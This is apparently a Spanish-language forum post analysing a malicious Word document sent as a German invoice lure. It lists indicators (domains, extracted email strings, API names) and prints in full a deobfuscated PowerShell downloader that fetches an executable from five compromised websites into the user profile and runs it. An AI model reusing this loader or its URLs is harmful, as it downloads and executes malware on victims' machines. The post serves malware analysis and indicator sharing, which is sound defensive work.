bwBoAHQAeQBtAHgAPQAnAFMAZgBvAGkAcQB0AHoAZgAnAA==

base64 decode ; Dominios:
store.aca-apac.com
level757.com
manvdocs.com
dev.terredesienne.com
test.barankaraboga.com
Plzcyvquu.exe
#Mipamigmzm https://[b]www.microsoft.com[/b]/Gkxxraid #> $Bjnxyibmgxbny='Crykyvtml';$Plzcyvquu = '720';$Xzulptoh='Ojylmggztlk';$Lvudehql=$env:userprofile+'\'+$Plzcyvquu+'.exe';$Ijsuchxbegg='Llltkfzpcpm';$Rnkzkmqfqpajk=.('n'+'e'+'w-obje'+'ct') nET.WEbCLIENT;$Cnvugvtsue='https://[b]store.aca-apac.com[/b]/phpmyadmin/HDrw/*https://[b]level757.com[/b]/projects/yo/*http://[b]manvdocs.com[/b]/wp-admin/JH/*http://[b]dev.terredesienne.com[/b]/wp-content/v7aqky/*https://[b]test.barankaraboga.com[/b]/tema/gfDT/'."S`pLIt"('*');$Nfmzhrekmb='Mziljdrhzuvna';foreach($Ethzzwbgwcbr in $Cnvugvtsue){try{$Rnkzkmqfqpajk."D`OWNL`oA`DFiLe"($Ethzzwbgwcbr, $Lvudehql);$Tzfuggtt='Fypzczjptyf';If ((.('Get'+'-Ite'+'m') $Lvudehql)."lEn`gtH" -ge 33032) {[Diagnostics.Process]::"STA`Rt"($Lvudehql);$Mvgjsjzzgmll='Qtsfpveeb';break;$Vlygbycvmilak='Qgrcortcz'}}catch{}}$Zbhohtymx='Sfoiqtzf'
Correos:
Hex("[email protected]")
CBool("[email protected]")
CDbl("[email protected]")
Cos("[email protected]")
"[email protected]"
"[email protected]"
CDate("[email protected]")
CInt("[email protected]")
CDate("[email protected]"
("[email protected]"
"[email protected]"
Sin("[email protected]")
Tan("[email protected]")
Int("[email protected]")
"[email protected]"
"[email protected]"
CDbl("[email protected]")
"[email protected]"
"[email protected]"
"[email protected]"
CSng("[email protected]")
"[email protected]"
"[email protected]"
CStr("[email protected]")
Sin("[email protected]")
CByte("[email protected]")
Hex("[email protected]")
"[email protected]"

Otros Strings:

[F00000000][T01D58DAA87795450][O00000000]*C:\IhreRechnung_28_10_2019_3005206685.doc
\c_xME He\Sex<[email protected] "&.N*1N6X4NB(7ND9NJ<NNPRTX\oujlvtxse|EendstcMestW_ywdlsg|sgtXsduOtol.ub
%USERPROFILE%\720.exe
GetCommandLineA
GetProcAddress
GetTimeZoneInformation
GetVolumeInformationA
GlobalGetAtomNameA
gmail.com

Estos fragmentos de código se repiten constantemente de la misma forma

Linea 1: Function
Linea 251: End Function

Linea: Function
Linea: 315 End Function

Linea: 316: Function
Linea 359: End Function

Linea: 444 Function
Linea: 588 End Function

Fin del SCRIPT
wow gran trabajo
CryptoSharex.com  | Aceptando donaciones..gracias: 1CiVFiGwCtf1kpASyQB9j8dhNyJs5AfaMX
Responder

Volver a “Zona de Análisis”